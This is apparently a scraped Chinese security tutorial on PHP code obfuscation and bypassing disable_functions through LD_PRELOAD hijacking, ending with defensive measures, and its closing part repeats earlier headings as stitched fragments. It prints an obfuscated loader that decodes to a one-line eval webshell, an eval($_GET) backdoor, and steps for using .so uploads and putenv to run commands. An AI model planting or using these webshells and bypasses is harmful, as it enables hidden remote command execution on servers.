PHP代码混淆与disable_functions绕过技术详解<\/h1>

一、PHP代码混淆技术<\/h2>

1. 代码混淆概述<\/h3>
PHP代码混淆是一种通过非加密方式保护PHP程序不被篡改的技术，主要对PHP代码中的变量、函数和类进行混淆，使得通过人工手段几乎不可能进行修改。<\/p>

2. 混淆示例分析<\/h3>

原始混淆代码示例<\/h4>

<?<\/span>php<\/span>
<\/span><\/span>highlight_file<\/span>(__FILE__<\/span>);
<\/span><\/span>$lJbGIY =<\/span> "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME"<\/span>;
<\/span><\/span>$OlWYMv =<\/span> "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel"<\/span>;
<\/span><\/span>$lapUCm =<\/span> urldecode<\/span>("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"<\/span>);
<\/span><\/span>$YwzIst =<\/span> $lapUCm{3<\/span>}.<\/span>$lapUCm{6<\/span>}.<\/span>$lapUCm{33<\/span>}.<\/span>$lapUCm{30<\/span>};
<\/span><\/span>$OxirhK =<\/span> $lapUCm{33<\/span>}.<\/span>$lapUCm{10<\/span>}.<\/span>$lapUCm{24<\/span>}.<\/span>$lapUCm{10<\/span>}.<\/span>$lapUCm{24<\/span>};
<\/span><\/span>$YpAUWC =<\/span> $OxirhK{0<\/span>}.<\/span>$lapUCm{18<\/span>}.<\/span>$lapUCm{3<\/span>}.<\/span>$OxirhK{0<\/span>}.<\/span>$OxirhK{1<\/span>}.<\/span>$lapUCm{24<\/span>};
<\/span><\/span>$rVkKjU =<\/span> $lapUCm{7<\/span>}.<\/span>$lapUCm{13<\/span>};
<\/span><\/span>$YwzIst .=<\/span> $lapUCm{22<\/span>}.<\/span>$lapUCm{36<\/span>}.<\/span>$lapUCm{29<\/span>}.<\/span>$lapUCm{26<\/span>}.<\/span>$lapUCm{30<\/span>}.<\/span>$lapUCm{32<\/span>}.<\/span>$lapUCm{35<\/span>}.<\/span>$lapUCm{26<\/span>}.<\/span>$lapUCm{30<\/span>};
<\/span><\/span>eval<\/span>($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc\/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="<\/span>));
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>反混淆过程<\/h4>

首先解码$lapUCm<\/code>变量：<\/li>
<\/ol>
$lapUCm =<\/span> 'n1zb\/ma5\vt0i28-pxuqy*6l rkdg9_ehcswo4+f37j'<\/span>;
<\/span><\/span><\/code><\/pre>
识别关键函数：<\/li>
<\/ol>
$YwzIst =<\/span> "base64_decode"<\/span>;
<\/span><\/span>$OxirhK =<\/span> "strtr"<\/span>;
<\/span><\/span>$YpAUWC =<\/span> "substr"<\/span>;
<\/span><\/span>$rVkKjU =<\/span> 52<\/span>;
<\/span><\/span><\/code><\/pre>
最终得到Webshell：<\/li>
<\/ol>
<?<\/span>php<\/span> @<\/span>eval<\/span>($_POST['cmd_66.99'<\/span>]); ?><\/span>
<\/span><\/span><\/span><\/code><\/pre>3. 混淆工具与配置<\/h3>
可以使用enphp项目<\/a>进行混淆，配置示例：<\/p>
include<\/span> '.\/func_v2.php'<\/span>;
<\/span><\/span>$options =<\/span> array<\/span>(
<\/span><\/span>    'ob_function'<\/span> =><\/span> 2<\/span>,          \/\/混淆方法名 1=字母混淆 2=乱码混淆
<\/span><\/span><\/span><\/span>    'ob_function_length'<\/span> =><\/span> 3<\/span>,   \/\/混淆函数产生变量最大长度
<\/span><\/span><\/span><\/span>    'ob_call'<\/span> =><\/span> 1<\/span>,              \/\/混淆函数调用
<\/span><\/span><\/span><\/span>    'insert_mess'<\/span> =><\/span> 0<\/span>,          \/\/随机插入乱码
<\/span><\/span><\/span><\/span>    'encode_call'<\/span> =><\/span> 2<\/span>,          \/\/混淆函数调用变量产生模式
<\/span><\/span><\/span><\/span>    'ob_class'<\/span> =><\/span> 0<\/span>,             \/\/混淆class
<\/span><\/span><\/span><\/span>    'encode_var'<\/span> =><\/span> 2<\/span>,           \/\/混淆变量 方法参数
<\/span><\/span><\/span><\/span>    'encode_var_length'<\/span> =><\/span> 5<\/span>,    \/\/混淆变量最大长度
<\/span><\/span><\/span><\/span>    'encode_str'<\/span> =><\/span> 2<\/span>,           \/\/混淆字符串常量
<\/span><\/span><\/span><\/span>    'encode_str_length'<\/span> =><\/span> 3<\/span>,    \/\/混淆字符串常量变量最大长度
<\/span><\/span><\/span><\/span>    'encode_html'<\/span> =><\/span> 2<\/span>,          \/\/混淆html
<\/span><\/span><\/span><\/span>    'encode_number'<\/span> =><\/span> 1<\/span>,        \/\/混淆数字
<\/span><\/span><\/span><\/span>    'encode_gz'<\/span> =><\/span> 0<\/span>,            \/\/以gzencode形式压缩
<\/span><\/span><\/span><\/span>    'new_line'<\/span> =><\/span> 1<\/span>,             \/\/加换行
<\/span><\/span><\/span><\/span>    'remove_comment'<\/span> =><\/span> 1<\/span>,       \/\/移除注释
<\/span><\/span><\/span><\/span>    'debug'<\/span> =><\/span> 1<\/span>,                \/\/debug
<\/span><\/span><\/span><\/span>    'deep'<\/span> =><\/span> 1<\/span>,                 \/\/重复加密次数
<\/span><\/span><\/span><\/span>    'php'<\/span> =><\/span> 7<\/span>,                  \/\/PHP版本
<\/span><\/span><\/span><\/span>);
<\/span><\/span><\/code><\/pre>4. 混淆效果对比<\/h3>
原始代码<\/h4>
<?<\/span>php<\/span>
<\/span><\/span>error_reporting<\/span>(E_ALL<\/span> ^<\/span> E_NOTICE<\/span>);
<\/span><\/span>error_reporting<\/span>(0<\/span>);
<\/span><\/span>if<\/span>(isset<\/span>($_GET['secret'<\/span>])){
<\/span><\/span>    eval<\/span>($_GET['secret'<\/span>]);
<\/span><\/span>}else<\/span>{
<\/span><\/span>    highlight_file<\/span>(__FILE__<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>混淆后代码<\/h4>
<?<\/span>php<\/span>
<\/span><\/span>error_reporting<\/span>(E_ALL<\/span> ^<\/span> E_NOTICE<\/span>);
<\/span><\/span>define<\/span>(''<\/span>,''<\/span>);
<\/span><\/span>$_GET[]=<\/span>explode<\/span>('|5|8|\/'<\/span>,'error_reporting|5|8|\/secret|5|8|\/highlight_file'<\/span>);
<\/span><\/span>$_GET{}[0<\/span>](E_ALL<\/span> ^<\/span> E_NOTICE<\/span>);
<\/span><\/span>$_GET{}[0<\/span>](0<\/span>);
<\/span><\/span>if<\/span>(isset<\/span>($_GET[$_GET{}{0x001<\/span>}])){
<\/span><\/span>    eval<\/span>($_GET[$_GET{}{0x001<\/span>}]);
<\/span><\/span>}else<\/span>{
<\/span><\/span>    $_GET{}{0x0002<\/span>}(__FILE__<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>二、disable_functions绕过技术<\/h2>
1. LD_PRELOAD劫持技术<\/h3>
基本原理<\/h4>
LD_PRELOAD是Linux下的一个环境变量，用于动态链接库的加载，在动态链接库的过程中它的优先级是最高的。类似于.user.ini中的auto_prepend_file。<\/p>
利用原理<\/h4>

定义在程序运行之前优先加载的动态链接库<\/li>
在自定义的动态链接库中装入恶意函数<\/li>
当程序调用系统函数时，优先调用恶意函数<\/li>
<\/ol>
演示示例<\/h4>

编写正常C程序rand.c<\/code>：<\/li>
<\/ol>
#include<\/span> <stdio.h><\/span>
<\/span><\/span><\/span>#include<\/span> <stdlib.h><\/span>
<\/span><\/span><\/span>#include<\/span> <time.h><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>int<\/span> main<\/span>(){
<\/span><\/span>    srand(time(NULL));
<\/span><\/span>    int<\/span> i=<\/span>10<\/span>;
<\/span><\/span>    while<\/span>(i--<\/span>) printf("%d<\/span>\n<\/span>"<\/span>,rand());
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
编译并运行：<\/li>
<\/ol>
gcc rand.c -o rand
<\/span><\/span>.\/rand
<\/span><\/span><\/code><\/pre>
编写恶意so文件unrand.c<\/code>：<\/li>
<\/ol>
int<\/span> rand<\/span>(){
<\/span><\/span>    return<\/span> 666<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
编译so文件并劫持：<\/li>
<\/ol>
gcc -shared -fPIC unrand.c -o unrand.so
<\/span><\/span>export LD_PRELOAD=<\/span>$PWD\/unrand.so
<\/span><\/span>.\/rand
<\/span><\/span><\/code><\/pre>2. 实际Web环境利用<\/h3>
在Web环境中，可以通过以下步骤绕过disable_functions：<\/p>

上传恶意.so文件<\/li>
通过PHP的putenv<\/code>设置LD_PRELOAD环境变量<\/li>
触发某个系统函数调用（如mail()）<\/li>
执行自定义的恶意代码<\/li>
<\/ol>
3. 自动化工具<\/h3>
可以使用蚁剑等工具的插件自动完成LD_PRELOAD绕过：<\/p>

连接Webshell<\/li>
检测disable_functions限制<\/li>
选择合适的插件进行绕过<\/li>
执行系统命令<\/li>
<\/ol>
三、防御措施<\/h2>
1. 针对代码混淆的防御<\/h3>

使用代码签名验证<\/li>
部署WAF检测混淆特征<\/li>
定期审计服务器上的可疑文件<\/li>
限制eval等危险函数的使用<\/li>
<\/ol>
2. 针对disable_functions绕过的防御<\/h3>

禁用putenv函数<\/li>
限制.so文件的上传和执行<\/li>
使用SELinux等安全模块<\/li>
定期更新PHP版本和安全补丁<\/li>
使用open_basedir限制文件访问范围<\/li>
<\/ol>
四、总结<\/h2>
PHP代码混淆和disable_functions绕过是Web安全中常见的技术手段。混淆技术可以有效隐藏恶意代码的真实意图，而LD_PRELOAD劫持则是绕过函数限制的有效方法。作为防御方，需要采取多层次的安全措施来防范这些攻击技术。<\/p>

PHP代码混淆与disable_functions绕过技术详解<\/h1>

一、PHP代码混淆技术<\/h2>

1. 代码混淆概述<\/h3> PHP代码混淆是一种通过非加密方式保护PHP程序不被篡改的技术，主要对PHP代码中的变量、函数和类进行混淆，使得通过人工手段几乎不可能进行修改。<\/p>

2. 混淆示例分析<\/h3>

4. 混淆效果对比<\/h3>

二、disable_functions绕过技术<\/h2>

1. LD_PRELOAD劫持技术<\/h3>

基本原理<\/h4> LD_PRELOAD是Linux下的一个环境变量，用于动态链接库的加载，在动态链接库的过程中它的优先级是最高的。类似于.user.ini中的auto_prepend_file。<\/p>

三、防御措施<\/h2>

1. 代码混淆概述<\/h3>
PHP代码混淆是一种通过非加密方式保护PHP程序不被篡改的技术，主要对PHP代码中的变量、函数和类进行混淆，使得通过人工手段几乎不可能进行修改。<\/p>

基本原理<\/h4>
LD_PRELOAD是Linux下的一个环境变量，用于动态链接库的加载，在动态链接库的过程中它的优先级是最高的。类似于.user.ini中的auto_prepend_file。<\/p>